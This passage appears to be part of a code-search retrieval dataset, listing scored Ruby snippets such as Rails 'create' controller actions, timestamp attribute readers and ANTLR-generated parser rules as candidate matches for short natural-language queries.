"text": "def create\n @student = Student.new(student_params)\n @student.user_id = current_user.id\n\n respond_to do |format|\n if @student.save\n this_dojo = Dojo.find(params[:dojo_id])\n # format.html { redirect_to dojo_student_url, notice: 'Student was successfully created.' }\n format.html { redirect_to dojo_path(this_dojo), notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "99d01c9fd1b50e9f8f7d88c162ab0cdc",
"score": "0.64421934",
"text": "def create\n @studentt = Studentt.new(studentt_params)\n\n respond_to do |format|\n if @studentt.save\n format.html { redirect_to @studentt, notice: 'Studentt was successfully created.' }\n format.json { render :show, status: :created, location: @studentt }\n else\n format.html { render :new }\n format.json { render json: @studentt.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7bfcd3a2b36493ce337ac9926aae6bff",
"score": "0.64378923",
"text": "def create\n\t\tif !isLogin\n\t\t\tredirect_to controller: 'login', action: 'login'\n\t\t\treturn\n\t\tend\n\t\t@student = Student.new(student_params)\n\t\t@student.code = @student.getCode\n\t\t@student.event_id = getLoginEventId\n\t\t@student.changed_id = getLoginUserId\n\t\trespond_to do |format|\n\t\t\tif @student.save\n\t\t\t\tformat.html { redirect_to @student, notice: 'Der Schüler wurde erfolgreich eröffnet.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @student }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @student.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "0394b2c4d08aeeeb00a47ef3d1e7d80f",
"score": "0.64352125",
"text": "def create\n @studentsregistered = Studentsregistered.new(studentsregistered_params)\n\n respond_to do |format|\n if @studentsregistered.save\n format.html { redirect_to @studentsregistered, notice: \"Studentsregistered was successfully created.\" }\n format.json { render :show, status: :created, location: @studentsregistered }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @studentsregistered.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4f161e21b24c66fdbe39c3207843af2b",
"score": "0.643089",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to \"/students/previous_data/#{@student.id}\", notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cb2cccf8156b7d4cb7826c51186d4441",
"score": "0.6429845",
"text": "def create\n @student_test = StudentTest.new(student_test_params)\n respond_to do |format|\n if @student_test.save\n format.html { redirect_to @student_test, notice: 'Student test was successfully created.' }\n format.json { render :show, status: :created, location: @student_test }\n else\n format.html { render :new }\n format.json { render json: @student_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
f38f501dd7fc2b3e6aa3488df33bf75c | Returns the value of attribute ts. source://regexp_parser//lib/regexp_parser/expression.rb5 | [
{
"docid": "de1087401c6d37cbf98b70f2690688e1",
"score": "0.55157125",
"text": "def ts; end",
"title": ""
}
] | [
{
"docid": "c71dd7bcf143dc677d615028d46b0d34",
"score": "0.5834303",
"text": "def parse(ts); end",
"title": ""
},
{
"docid": "0d8a933ac280e70e34af559e6233a816",
"score": "0.57378227",
"text": "def evalue (elt_name, att_name, options={})\n\n v = @entry.extensions.find { |e|\n e.name == elt_name\n }\n\n return nil unless v\n\n v = v.attribute(att_name)\n\n v = Time.parse(v.value) if options[:time] == true\n\n v\n end",
"title": ""
},
{
"docid": "8df9b45ad24f76d2e7072e3d9ad533e3",
"score": "0.5575137",
"text": "def timestamp\n ts_property(:timestamp)\n end",
"title": ""
},
{
"docid": "ea66ef09695b63ae9ca113944199a9b7",
"score": "0.55630285",
"text": "def time\n attribute = xml.root.attribute('time')\n attribute.value if attribute\n end",
"title": ""
},
{
"docid": "d2ab62a82bf8421f4ccef332cbe411d3",
"score": "0.54900163",
"text": "def attribute(att)\n value = @attributes[att.to_s]\n return value unless (self.class.attribute_types[att.to_sym] == :timestamp)\n value.is_a?(Integer) ? Time.at(value) : value\n end",
"title": ""
},
{
"docid": "afa8124b1ddeabcaa24d9e8daef8f5c1",
"score": "0.54814374",
"text": "def field_value(ast, field_name)\n field(ast, field_name).xpath('args_add_block/descendant::tstring_content\n [count(ancestor::args_add) = 1][count(ancestor::string_add) = 1]\n /@value').map { |a| a.to_s }.last\n end",
"title": ""
},
{
"docid": "074852271fde5abd90835de4e64d8290",
"score": "0.5432661",
"text": "def valparse(ts)\n if ts.length < 0\n raise Error, 'empty'\n end\n\n typ, _, val = ts[0]\n case typ\n when '{' then objparse(ts)\n when '[' then arrparse(ts)\n when :val,:str then [val, ts[1..-1]]\n else\n raise Error, \"unexpected #{val.inspect}\"\n end\n end",
"title": ""
},
{
"docid": "66989f35b4a1b033202fd401eeb63cc1",
"score": "0.54048973",
"text": "def value\n node_parts[1]\n end",
"title": ""
},
{
"docid": "70fbfa9aa9f9be605874df4d8d4e2dcf",
"score": "0.5370866",
"text": "def value_of name\r\n return Time.now.to_f if name == \"TI\"\r\n @variables[name]\r\n end",
"title": ""
},
{
"docid": "0f03ed06a716313b93c6a73a35dc35c7",
"score": "0.5350529",
"text": "def parse_time(node, attribute)\n if node && node.attributes[attribute]\n Time.parse(node.attributes[attribute])\n end\n end",
"title": ""
},
{
"docid": "0f03ed06a716313b93c6a73a35dc35c7",
"score": "0.5350529",
"text": "def parse_time(node, attribute)\n if node && node.attributes[attribute]\n Time.parse(node.attributes[attribute])\n end\n end",
"title": ""
},
{
"docid": "6828a92d60a1c109e10eb3550ecb25f8",
"score": "0.53148454",
"text": "def tt(t)\n RDL.parser.scan_str('#T ' + t)\n end",
"title": ""
},
{
"docid": "6828a92d60a1c109e10eb3550ecb25f8",
"score": "0.53148454",
"text": "def tt(t)\n RDL.parser.scan_str('#T ' + t)\n end",
"title": ""
},
{
"docid": "d06c861a6de50f9075b6a0174adeec6f",
"score": "0.5280902",
"text": "def gps_timestamp\n ng_xml.css(\"fits > metadata > image > gpsTimeStamp\").map(&:text)\n end",
"title": ""
},
{
"docid": "35d3f5bda816cb3339433dfec3737881",
"score": "0.5277729",
"text": "def temporal_position\n @data['temporalPosition']\n end",
"title": ""
},
{
"docid": "5c192c7f779d0c291d6fe3a5e7c28227",
"score": "0.5275299",
"text": "def find_timestamp rxml\n Time.parse(rxml['timestamp'])\n end",
"title": ""
},
{
"docid": "559f260a97923f97c037addb5d76ae0c",
"score": "0.5261599",
"text": "def seconds\n value_parts[2]\n end",
"title": ""
},
{
"docid": "aa19dcff3b995c91a01fb6b929c3c8f4",
"score": "0.5261262",
"text": "def process_svalue exp\n exp.value\n end",
"title": ""
},
{
"docid": "cd96d4ee122bb53d6a7740187308c20e",
"score": "0.5216865",
"text": "def sid_temp\n @root.attributes[\"ts\"].to_i\n end",
"title": ""
},
{
"docid": "288f186d117a356e8f6798cbaf04d0d1",
"score": "0.5204945",
"text": "def timestamp\n\t\t\t\t\tdata.unpack(\"v\").first\n\t\t\t\tend",
"title": ""
},
{
"docid": "a3bf930034dcab85221e1529c74b8051",
"score": "0.52042925",
"text": "def parse_attr_name\n return nil if not @lexer.get or not [:text,:star].include?(@lexer.get.type)\n ret = @lexer.get.type == :text ?\n @lexer.get.value : :any\n @lexer.next!\n ret\n end",
"title": ""
},
{
"docid": "37a6705e06beed66a8296fbb3630f07c",
"score": "0.5199149",
"text": "def interpretTimeValue(time)\n if(time.nil?) then\n return 0 ;\n elsif(time.is_a?(Symbol)) then\n return NewVehicleSpecialParam_Time[time] ;\n else\n return time ;\n end\n end",
"title": ""
},
{
"docid": "86f542f318f3846adb87d4f356ca2f7e",
"score": "0.5193539",
"text": "def visitTimeUnitExpressionTerm(ctx)\n\n end",
"title": ""
},
{
"docid": "0b1f5b204c52d9881551689a214f7442",
"score": "0.5192461",
"text": "def attr_svalue\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 24 )\n __SVALUE17__ = nil\n\n begin\n # at line 128:14: ^( ASSIGN SVALUE )\n match( ASSIGN, TOKENS_FOLLOWING_ASSIGN_IN_attr_svalue_936 )\n\n # --> action\n print \"=\".colorize(:magenta)\n # <-- action\n\n match( DOWN, nil )\n __SVALUE17__ = match( SVALUE, TOKENS_FOLLOWING_SVALUE_IN_attr_svalue_940 )\n # --> action\n print (__SVALUE17__.text).colorize(:magenta)\n # <-- action\n\n match( UP, nil )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 24 )\n\n end\n \n return \n end",
"title": ""
},
{
"docid": "6654a04e3ac2e79c494f7aacf92cdffd",
"score": "0.51648474",
"text": "def time(context)\n case @time\n when DigitNode, RealNode\n case @units\n when \"s\"\n return (\"%.2f(sec)\" % @time.eval(context)).sub(/^0+/, \"\")\n when \"ms\"\n return (\"%.2f(sec)\" % (@time.eval(context).to_f / 1000)).sub(/^0+/, \"\")\n end\n when VarNode\n case @units\n when \"s\"\n if @time.constant?\n return (\"%.2f(sec)\" % @time.eval(context)).sub(/^0+/, \"\")\n else\n return @time.eval(context)\n end\n else\n raise \"Indirect values can only use seconds ('s') as the units argument\"\n end\n else\n raise \"PANIC\"\n end\n end",
"title": ""
},
{
"docid": "329a273fb676dea28cab5f1c5a23c63a",
"score": "0.5159225",
"text": "def ts=(_arg0); end",
"title": ""
},
{
"docid": "329a273fb676dea28cab5f1c5a23c63a",
"score": "0.5159225",
"text": "def ts=(_arg0); end",
"title": ""
},
{
"docid": "2916068352e3d42df3bb13f8e25fba9e",
"score": "0.5139111",
"text": "def value\n timing? ? time : @value\n end",
"title": ""
},
{
"docid": "db98775625fdfdbeb2c900550b28eb92",
"score": "0.5137843",
"text": "def time_value(value)\n Time.parse(value(value))\n end",
"title": ""
},
{
"docid": "db98775625fdfdbeb2c900550b28eb92",
"score": "0.5137843",
"text": "def time_value(value)\n Time.parse(value(value))\n end",
"title": ""
},
{
"docid": "c2d1c6ec660847b27c44b885b8228ccd",
"score": "0.51333964",
"text": "def value\n\t\t\tbegin\n\t\t\t\ttoken.normalize(*@captures)\n\t\t\t\n\t\t\t# if the normalize failed with ArgumentError, it's\n\t\t\t# probably because the method was expecting a different\n\t\t\t# number of captures, which indicates a broken regex\n\t\t\trescue ArgumentError => err\n\t\t\t\traise ArgumentError.new(\"Normalize failed for #{@captures.inspect} via #{token.inspect}\")\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "46b38f246659908b8cdaaa36e1d1c977",
"score": "0.51314527",
"text": "def duration\n case @processed_value\n when Stretto::Value then @processed_value.to_f(@pattern)\n else @processed_value\n end\n end",
"title": ""
},
{
"docid": "ddd9428a44e841924bfceeb759ac893b",
"score": "0.5122856",
"text": "def value\n @token\n end",
"title": ""
},
{
"docid": "dcfea2f7d1abb62ea09ff8eccad5d0c7",
"score": "0.51219773",
"text": "def eta\n attributes['eta']\n end",
"title": ""
},
{
"docid": "055db499dc3e25ce7b7dbb99512a426b",
"score": "0.5117006",
"text": "def node_value(node)\n node[1]\n end",
"title": ""
},
{
"docid": "95399b2a14eef1f4ca563c91931c364d",
"score": "0.5114116",
"text": "def get_phase_node_value(attribute); get_node_value(current_phase_node, attribute); end",
"title": ""
},
{
"docid": "5a771f8338197511fc7f75a53caf8944",
"score": "0.5110232",
"text": "def to_timestamp\n\t\t@value\n\tend",
"title": ""
},
{
"docid": "c1b935889dce759ae4da4210113a4700",
"score": "0.5101615",
"text": "def string_value(token); end",
"title": ""
},
{
"docid": "c1b935889dce759ae4da4210113a4700",
"score": "0.5101615",
"text": "def string_value(token); end",
"title": ""
},
{
"docid": "f84f96ba06a6e04738094ba196bf2f8d",
"score": "0.5081759",
"text": "def time\n @time_value != nil ? @time_value.first : ''\n end",
"title": ""
},
{
"docid": "067c10d591ff10ec2a4e59bfac8284df",
"score": "0.5077448",
"text": "def mtime\n @attributes[:mtime]\n end",
"title": ""
},
{
"docid": "3f51facb8523b8b9d13ce09828dd8834",
"score": "0.5076372",
"text": "def extract_timestamp result\n Time.gm(*result.css('fx_date').children[0].to_s.split('-')).to_i\n end",
"title": ""
},
{
"docid": "791cfae0e7d356f8c87110388aa4f920",
"score": "0.50675535",
"text": "def token_text t\n return t if t.nil?\n t = t.current if t.respond_to?(:current)\n return t.value if t.is_a? Model::QualifiedName\n\n # else it is a lexer token\n t[:value]\n end",
"title": ""
},
{
"docid": "a984ffe7f9ce0de124ee004e080491e4",
"score": "0.5061279",
"text": "def timestamp\n Time.parse(self.result[0][\"timestamp\"])\n end",
"title": ""
},
{
"docid": "8c5b63d6679e1fd2a8bb87e5395251ab",
"score": "0.50477034",
"text": "def timestamp!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 7 )\n\n type = TIMESTAMP\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 9:13: 'timestamp'\n match( \"timestamp\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 7 )\n\n end",
"title": ""
},
{
"docid": "16031b202212ba1ed75557eb6eedf2bc",
"score": "0.50409",
"text": "def parse_timer_expression\n return [nil,nil] unless self.timer_expression.present? \n parts = self.timer_expression.split(\":\")\n case parts[0]\n when \"cron\" \n [nil, parts[1].squish]\n when \"every\" \n [parts[1].squish, nil]\n else\n [nil,nil]\n end\n end",
"title": ""
},
{
"docid": "2c7fdc374ea3d0f33d794888e6b63cd7",
"score": "0.50361174",
"text": "def textparse(ts)\n if ts.length < 0\n raise Error, 'empty'\n end\n\n typ, _, val = ts[0]\n case typ\n when '{' then objparse(ts)\n when '[' then arrparse(ts)\n else\n raise Error, \"unexpected #{val.inspect}\"\n end\n end",
"title": ""
},
{
"docid": "db993924a9a6a66001d26f3cad5efe67",
"score": "0.5020648",
"text": "def ts(st)\n\t\tst.to_s.gsub(/(\\d)(?=(\\d\\d\\d)+(?!\\d))/, \"\\\\1,\")\n\tend",
"title": ""
},
{
"docid": "1b1328eb7650e58186fd7f26e2483f8c",
"score": "0.49977174",
"text": "def expression\n attributes.fetch(:expression)\n end",
"title": ""
},
{
"docid": "4e94bdb77e7259f3214b34f2d292bcab",
"score": "0.49976766",
"text": "def timetoken\n @env[:timetoken]\n end",
"title": ""
},
{
"docid": "d261341d920f6a83f8577c275d7a824a",
"score": "0.497779",
"text": "def parse_time\n REGEX_TIME.match(@data) ? Time.parse($1) : nil\n end",
"title": ""
},
{
"docid": "1dcc2a0d48a8dc038e7e2cec109be835",
"score": "0.49748188",
"text": "def process_value(content, object)\n if content.is_a?(Index::Attribute) && content.type == :timestamp\n return object[content.name].to_time.to_i\n end\n object[content.name]\n end",
"title": ""
},
{
"docid": "ed70928b2128d835b2e4c13152215ac6",
"score": "0.49695167",
"text": "def expression\n node_parts[2]\n end",
"title": ""
},
{
"docid": "e26e7e436666ca127d3070bb494dbd78",
"score": "0.49683538",
"text": "def time\n read_attr :time, :to_f\n end",
"title": ""
},
{
"docid": "6988897a1226aff4b60a4199044aca0c",
"score": "0.49643362",
"text": "def time\n ExifTags::time(self.exif)\n end",
"title": ""
},
{
"docid": "569d17e0f35937f055cc3e8cb855367e",
"score": "0.49597773",
"text": "def expression\n node_parts[1]\n end",
"title": ""
},
{
"docid": "da71b0c1c4d2a04b5f36f79b14fb030e",
"score": "0.49486154",
"text": "def time\n @fields[2].to_i\n end",
"title": ""
},
{
"docid": "275ce64d917ab45315c8896934b328ad",
"score": "0.49447998",
"text": "def parse_rs_exp(tks)\r\n token = tks.shift\r\n return if token.nil?\r\n\r\n if token.type == TokenType::RUBY_STR\r\n return token.value\r\n else\r\n raise ParserError.new(\"Invalid Syntax\")\r\n end\r\n end",
"title": ""
},
{
"docid": "3df3f424df28f058e4cd2db691ef081a",
"score": "0.4944034",
"text": "def get_text\n if (!(self.attr_state.attr_text).nil?)\n return self.attr_state.attr_text\n end\n return @input.substring(self.attr_state.attr_token_start_char_index, get_char_index - 1)\n end",
"title": ""
},
{
"docid": "512403da963c56b2d713ceb23cbdeb74",
"score": "0.49368668",
"text": "def parse_expression\n # TODO implement me\n end",
"title": ""
},
{
"docid": "3c287529d3195d1f1b53f1ab58d94092",
"score": "0.49336845",
"text": "def parse_time\n s0 = @scanner.pos\n if match_str('T') == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n s2 = match_digits\n if parse_nl == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n @reported_pos = s0\n s0 = { 'now' => sec2time(s2.join.to_i) }\n end\n end\n s0\n end",
"title": ""
},
{
"docid": "025150ca0303e1c01f637af17d93d53f",
"score": "0.49305898",
"text": "def am_timestamp\n ts = metadata_root.active_metadata_timestamp\n return nil if ts.nil?\n ts = ts.to_f\n end",
"title": ""
},
{
"docid": "5d4ace600709e35cbfc7f9b60b9094a4",
"score": "0.4928754",
"text": "def ts\n now = \"'#{Time.now.utc}'\"\n if @tree[:VALUES]\n @tree[:INSERT_COLUMNS].concat ['created_at', 'updated_at']\n @tree[:VALUES] = @tree[:VALUES].map{|arr| arr.concat [now, now]}\n elsif @tree[:SET]\n @tree[:SET] += \", updated_at = #{now}\"\n end\n self\n end",
"title": ""
},
{
"docid": "652cc992e9645c5329e06e3844642407",
"score": "0.49287018",
"text": "def timestamp\n timestamp_val = attributes.fetch(:timestamp) { raise Ably::Exceptions::InvalidTokenRequest, 'Timestamp is missing' }\n as_time_from_epoch(timestamp_val, granularity: :ms)\n end",
"title": ""
},
{
"docid": "843d8f476be56b668bc953e6688def8c",
"score": "0.49234337",
"text": "def tag_string=(ts)\n point_tags = []\n\n ts.split(',').each do |keyval|\n if keyval.include? '=' # throw it away if no equals\n keyvalarray = keyval.chomp.split('=')\n key = keyvalarray[0]\n val = keyvalarray[1]\n\n pt = PointTag.new\n pt.key = key.strip\n pt.value = val.strip\n point_tags += [pt]\n end\n end\n\n @tags = point_tags\n end",
"title": ""
},
{
"docid": "3c83ee00c1f8132a0705a3452be4aaff",
"score": "0.49233153",
"text": "def attr_svalue\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 51 )\n return_value = AttrSvalueReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n __WS307__ = nil\n __ASSIGN308__ = nil\n __WS309__ = nil\n __SVALUE310__ = nil\n\n tree_for_WS307 = nil\n tree_for_ASSIGN308 = nil\n tree_for_WS309 = nil\n tree_for_SVALUE310 = nil\n stream_SVALUE = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token SVALUE\" )\n stream_WS = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token WS\" )\n stream_ASSIGN = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token ASSIGN\" )\n\n begin\n # at line 316:14: ( WS )? ASSIGN ( WS )? SVALUE\n # at line 316:14: ( WS )?\n alt_47 = 2\n look_47_0 = @input.peek( 1 )\n\n if ( look_47_0 == WS )\n alt_47 = 1\n end\n case alt_47\n when 1\n # at line 316:14: WS\n __WS307__ = match( WS, TOKENS_FOLLOWING_WS_IN_attr_svalue_2020 )\n stream_WS.add( __WS307__ )\n\n end\n __ASSIGN308__ = match( ASSIGN, TOKENS_FOLLOWING_ASSIGN_IN_attr_svalue_2023 )\n stream_ASSIGN.add( __ASSIGN308__ )\n # at line 316:25: ( WS )?\n alt_48 = 2\n look_48_0 = @input.peek( 1 )\n\n if ( look_48_0 == WS )\n alt_48 = 1\n end\n case alt_48\n when 1\n # at line 316:25: WS\n __WS309__ = match( WS, TOKENS_FOLLOWING_WS_IN_attr_svalue_2025 )\n stream_WS.add( __WS309__ )\n\n end\n __SVALUE310__ = match( SVALUE, TOKENS_FOLLOWING_SVALUE_IN_attr_svalue_2028 )\n stream_SVALUE.add( __SVALUE310__ )\n # AST Rewrite\n # elements: SVALUE, ASSIGN\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 316:36: -> ^( ASSIGN SVALUE )\n # at line 316:39: ^( ASSIGN SVALUE )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_ASSIGN.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_SVALUE.next_node )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 51 )\n\n end\n \n return return_value\n end",
"title": ""
},
{
"docid": "c04e5945ff64398165bcb03a95841db2",
"score": "0.49201846",
"text": "def trg_time\n data[:time][target_idx]\n end",
"title": ""
},
{
"docid": "0064cae2f039eaea48939b942debd948",
"score": "0.49176607",
"text": "def token t\n #return nil if checkEnd\n @string.strip!\n raiseEnd\n if starts_with? t\n @current_value=t.strip\n @string=@string[t.length..-1].strip\n return @current_value\n else\n verbose \"expected \"+t.to_s # if @throwing\n raise NotMatching.new(t)\n end\n end",
"title": ""
},
{
"docid": "f610513c086807c4ff739126a3c57926",
"score": "0.4913288",
"text": "def [](attribute)\n @tag.scan(/#{attribute}\\s*=\\s*\\\"([^\"]+)\\\"/)[0][0] rescue nil\n end",
"title": ""
},
{
"docid": "a224f74a97a4029be70aa26911bb41ce",
"score": "0.49032518",
"text": "def time_text\n node.css('p.time_text').text\n end",
"title": ""
},
{
"docid": "58b838ecef8f76812080af513995422c",
"score": "0.48906127",
"text": "def value\n @attributes[:value]\n end",
"title": ""
},
{
"docid": "58b838ecef8f76812080af513995422c",
"score": "0.48906127",
"text": "def value\n @attributes[:value]\n end",
"title": ""
},
{
"docid": "58b838ecef8f76812080af513995422c",
"score": "0.48906127",
"text": "def value\n @attributes[:value]\n end",
"title": ""
},
{
"docid": "3cb1139608a3aba5fc0c91482b8151fa",
"score": "0.48878592",
"text": "def value \n @value ? @value : @expression\n end",
"title": ""
},
{
"docid": "34e27b7f05a053979e337c910060174b",
"score": "0.48719308",
"text": "def value\n subject[attr_name]\n end",
"title": ""
},
{
"docid": "4ebb1bac38918f3824dbea25f70b7c65",
"score": "0.48684895",
"text": "def to_seconds\n atom\n end",
"title": ""
},
{
"docid": "64cfc493ca5694db12a67560444d9580",
"score": "0.48680326",
"text": "def read_attribute_value()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "6e47e349fb41735060cfc3a7dbbb44bb",
"score": "0.48641086",
"text": "def get_attr_val(ft_col_name,ctx='html')\n attr_info = InfoNode.attr_type_info(ft_col_name)\n if attr_info && [\"date\",\"datetime\",\"time\"].include?(attr_info[:datatype])\n return self.send(ft_col_name) # applies conversion to configured timezone \n else\n return self.read_attribute(ft_col_name)\n end\n end",
"title": ""
},
{
"docid": "48d8cd9be413575057db5ee893813a57",
"score": "0.4855374",
"text": "def extract\n @value\n end",
"title": ""
},
{
"docid": "1f1f8ad381ac379019fd71f3d6f7ddef",
"score": "0.48537564",
"text": "def test_get_timestamp_seconds\n assert_equal @v.get_timestamp_seconds(\"1518892051.737141000\"), \"1518892051\"\n end",
"title": ""
},
{
"docid": "49ed18f5d80fae18444553a4d45a02ae",
"score": "0.48397574",
"text": "def visitTimeRangeExpression(ctx)\n\n end",
"title": ""
},
{
"docid": "87312b1299ac8dc2bee78b6b35cabd98",
"score": "0.48351008",
"text": "def timestamp_from_td td\n if x=td.at('time')\n Time.iso8601(x['datetime'])\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "6d995b80e16e4cdf1c734e873fa94d53",
"score": "0.48323354",
"text": "def value\n if atomic?\n @tokens[0]\n else\n @tokens.map { |v| v.is_a?(::String) ? v.inspect : v }.join(' # ')\n end\n end",
"title": ""
},
{
"docid": "44ce31a55340efb3c76acf16db69976e",
"score": "0.48309502",
"text": "def time\n @attributes.fetch('time', nil)\n end",
"title": ""
},
{
"docid": "73ef8f994d22e994bf985c2a02da18ee",
"score": "0.4830942",
"text": "def timestamp\n data.timestamp\n end",
"title": ""
},
{
"docid": "66ad93f66a5f030de728480e3db38d11",
"score": "0.4826189",
"text": "def parse_timestamp_line(line)\n match = /<when>(.*?)<\\/when>/.match(line)\n DateTime.parse(match[1]) if match\nend",
"title": ""
},
{
"docid": "0cd1eab2280951442ac4ae23704356f4",
"score": "0.48163936",
"text": "def get_expression\n return @expression\n end",
"title": ""
},
{
"docid": "f1f5e6339572e0ad80de3da038a521c4",
"score": "0.481097",
"text": "def value\n self.attrs[:value]\n end",
"title": ""
},
{
"docid": "14faf58a9d8d5ae02966507df23d1e0a",
"score": "0.48076335",
"text": "def value\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 29 )\n\n\n return_value = ValueReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n\n begin\n # at line \n if @input.peek(1) == BOOL || @input.peek(1) == FLOAT || @input.peek(1) == INTEGER || @input.peek(1) == STRING\n @input.consume\n @state.error_recovery = false\n\n else\n mse = MismatchedSet( nil )\n raise mse\n\n end\n\n\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 29 )\n\n\n end\n\n return return_value\n end",
"title": ""
},
{
"docid": "83fc3be21fba4c5157060a536f2f804b",
"score": "0.47976103",
"text": "def value_from(tag)\n val = tag.split(/:\\s+/)[1]\n \n # Value may be surrounded by quotes in some cases. Remove these extra quotes here.\n val =~ /^\\\"(.*)\\\"$/ ? $1 : val\n end",
"title": ""
},
{
"docid": "1549d390c935f97e167f53c7a554899d",
"score": "0.47943282",
"text": "def value\n node.string\n end",
"title": ""
},
{
"docid": "874ea106e60cf0994557f994760c1c4b",
"score": "0.47940212",
"text": "def t_value\n @t_value ||= @coefficients.to_h { |k, v| [k, v / (std_err[k] + Float::EPSILON)] }\n end",
"title": ""
},
{
"docid": "8b88049d77bcdaf99e70c5f2aea2ad21",
"score": "0.479162",
"text": "def unparsed_value; end",
"title": ""
},
{
"docid": "97a36f618374531c148c7e337dc3b590",
"score": "0.47913846",
"text": "def handle_s\n @second = @tokens[@index].get_tag(ScalarSecond).type\n next_tag\n @precision = :second\n end",
"title": ""
},
{
"docid": "d9205edad95e1403c868ac1dbaacdf8a",
"score": "0.47865182",
"text": "def ts_eval(ctx = nil, &block)\n ret = (ctx || self).instance_eval(&block)\n (ctx || ret).tap do |obj|\n obj.singleton_class.instance_eval do\n define_method(:ts) { @_ts ||= [] }\n end unless obj.methods.include?(:ts)\n\n now = ChronoTest.connection.select_value('select now()::timestamp') + 'Z'\n obj.ts.push(Time.parse(now))\n end\n end",
"title": ""
},
{
"docid": "1d3702c814676dbf0ff147397754699b",
"score": "0.4784935",
"text": "def timestamp_parse(timestamp)\n timestamp\n end",
"title": ""
},
{
"docid": "62e0fe7b4dac56b85b6a67907b116359",
"score": "0.47829145",
"text": "def value\n val = attr_val('./cda:value/@value')\n if val\n val\n else\n @attr.at_xpath('./cda:value').inner_text\n end\n end",
"title": ""
},
{
"docid": "a40d2b09276d1174a69615582ae449b5",
"score": "0.4779395",
"text": "def node_time(node, field)\n return nil unless node.key?(field)\n return nil if node[field].nil?\n\n timestamp = ActiveSupport::TimeZone.new('UTC').parse(node[field])\n timestamp\nend",
"title": ""
},
{
"docid": "19bcdd8ed1c4c95b3e49163177ffac34",
"score": "0.4776919",
"text": "def ts_eval(ctx = nil, &block)\n ret = (ctx || self).instance_eval(&block)\n (ctx || ret).tap do |obj|\n obj.singleton_class.instance_eval do\n define_method(:ts) { @_ts ||= [] }\n end unless obj.methods.include?(:ts)\n\n now = ChronoTest.connection.select_value('select now()::timestamp')\n case now\n when Time # Already parsed, thanks AR\n obj.ts.push(now)\n when String # ISO8601 Timestamp\n obj.ts.push(Time.parse(\"#{now}Z\"))\n else\n raise \"Don't know how to deal with #{now.inspect}\"\n end\n end\n end",
"title": ""
}
] |
8f9af0418b8949b02990921a970f35f8 | show one users and inputandouputs where id | [
{
"docid": "234182a11e8319442196925baf305fdb",
"score": "0.0",
"text": "def getId\n @inputandoutput = Inputandoutput.joins(\"INNER JOIN users ON inputandoutputs.user_id = users.id \").select(\"users.*,inputandoutputs.*\").where(\"users.id=?\", params[:id])\n if @inputandoutput.present?\n render json: @inputandoutput\n else\n render json: {status: 'Error in load'}, status: :not_found\n end\nend",
"title": ""
}
] | [
{
"docid": "9c4270e3f9e7beb77d033c3943960c37",
"score": "0.6908791",
"text": "def show\n\n @user_id = params[:id]\n @users = User.where(\"id=?\",@user_id)\n end",
"title": ""
},
{
"docid": "444d5d413c29cba32ac67cd33a1380c9",
"score": "0.6775871",
"text": "def show\n # @user = User.find_by(id: params[:id])\n @outfit = Outfit.find_by(id: rand(1..64))\n @user = @outfit.user\n # @outfits = Outfit.find_by(id: params[:id])\n end",
"title": ""
},
{
"docid": "3bb1d2c0609e223eda5564f61f2bfceb",
"score": "0.6705505",
